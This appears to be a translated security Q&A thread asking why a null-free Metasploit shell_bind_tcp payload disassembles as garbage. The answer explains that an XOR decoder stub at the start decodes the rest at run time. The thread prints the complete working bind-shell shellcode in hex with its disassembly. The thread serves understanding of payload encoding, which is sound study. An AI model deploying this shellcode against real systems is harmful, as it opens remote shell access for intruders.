Metasploit che genera uno shellcode strano

2

Quindi ho appena usato metasploit per generare il carico utile payload/linux/x86/shell_bind_tcp senza byte null ( generate -t raw -b '\x00' -f shellcode ). Ecco lo shellcode:

$ xxd -p shellcode
dbddd97424f45e33c9bf0e0f5844b114317e1983c604037e15ecfa699f07
e7d95cb482dfebdbe386269b5f19ebf35da51a5f08b54d0f455407c90d5a
589cef60ea9a5f0ec122dc7fbfef63ec19855c4b57d9ea129fb1c3cb2c29
743bb1c0eacad642a045f9d24d9b7a

Ed ecco cosa objdump pensa che lo shellcode sia:

$ objdump -D -b binary -m i386 shellcode

shellcode:     file format binary


Disassembly of section .data:

00000000 <.data>:
   0:   db dd                   fcmovnu st,st(5)
   2:   d9 74 24 f4             fnstenv [esp-0xc]
   6:   5e                      pop    esi
   7:   33 c9                   xor    ecx,ecx
   9:   bf 0e 0f 58 44          mov    edi,0x44580f0e
   e:   b1 14                   mov    cl,0x14
  10:   31 7e 19                xor    DWORD PTR [esi+0x19],edi
  13:   83 c6 04                add    esi,0x4
  16:   03 7e 15                add    edi,DWORD PTR [esi+0x15]
  19:   ec                      in     al,dx
  1a:   fa                      cli    
  1b:   69 9f 07 e7 d9 5c b4    imul   ebx,DWORD PTR [edi+0x5cd9e707],0xebdf82b4
  22:   82 df eb 
  25:   db e3                   fninit 
  27:   86 26                   xchg   BYTE PTR [esi],ah
  29:   9b                      fwait
  2a:   5f                      pop    edi
  2b:   19 eb                   sbb    ebx,ebp
  2d:   f3 5d                   repz pop ebp
  2f:   a5                      movs   DWORD PTR es:[edi],DWORD PTR ds:[esi]
  30:   1a 5f 08                sbb    bl,BYTE PTR [edi+0x8]
  33:   b5 4d                   mov    ch,0x4d
  35:   0f 45 54 07 c9          cmovne edx,DWORD PTR [edi+eax*1-0x37]
  3a:   0d 5a 58 9c ef          or     eax,0xef9c585a
  3f:   60                      pusha  
  40:   ea 9a 5f 0e c1 22 dc    jmp    0xdc22:0xc10e5f9a
  47:   7f bf                   jg     0x8
  49:   ef                      out    dx,eax
  4a:   63 ec                   arpl   sp,bp
  4c:   19 85 5c 4b 57 d9       sbb    DWORD PTR [ebp-0x26a8b4a4],eax
  52:   ea 12 9f b1 c3 cb 2c    jmp    0x2ccb:0xc3b19f12
  59:   29 74 3b b1             sub    DWORD PTR [ebx+edi*1-0x4f],esi
  5d:   c0 ea ca                shr    dl,0xca
  60:   d6                      (bad)  
  61:   42                      inc    edx
  62:   a0 45 f9 d2 4d          mov    al,ds:0x4dd2f945
  67:   9b                      fwait
  68:   7a                      .byte 0x7a

Questo link fornisce anche uno smontaggio simile: link

Potrei sbagliarmi, ma questo shellcode sembra strano. Prima di tutto, non funziona, ma questo non è sufficiente per dimostrare che è sbagliato. Il secondo problema è che objdump dice (bad) vicino al fondo, il che probabilmente significa che l'assembly è sbagliato. L'ultima cosa è che non ho idea di cosa stia facendo dopo aver letto l'assemblea. La generazione dello shellcode per questo stesso payload con byte null fornisce un assembly corretto e leggibile. Non penso che la rimozione di null byte possa aggiungere molta complessità allo shellcode.

Ho fatto qualcosa di sbagliato? In caso contrario, qualcuno può spiegare come funziona lo shellcode?

    
posta gsingh2011 28.05.2014 - 10:15
fonte

1 risposta

2

Bene, ho ottenuto alcune risposte da chiederti nel canale IRC.

Quando usi -b , lo shellcode è codificato per evitare i byte specificati. Il decodificatore è collegato all'inizio, e quel codice è effettivamente leggibile e ha senso. Questo specifico decodificatore apparentemente fa qualcosa con i byte XORing nello shellcode, il che spiega il motivo per cui lo shellcode sembra spazzatura quando viene smontato (in realtà non sono istruzioni). Inoltre, il passaggio allo shellcode con GDB spesso non funziona perché GDB sostituirà l'istruzione successiva con 0xCC o un punto di interruzione. Ciò significa che il decoder restituirà i byte errati, causando l'arresto anomalo del programma.

Lo shellcode è in realtà corretto e ho ottenuto che funzioni per il mio exploit.

    
risposta data 29.05.2014 - 00:47
fonte

Leggi altre domande sui tag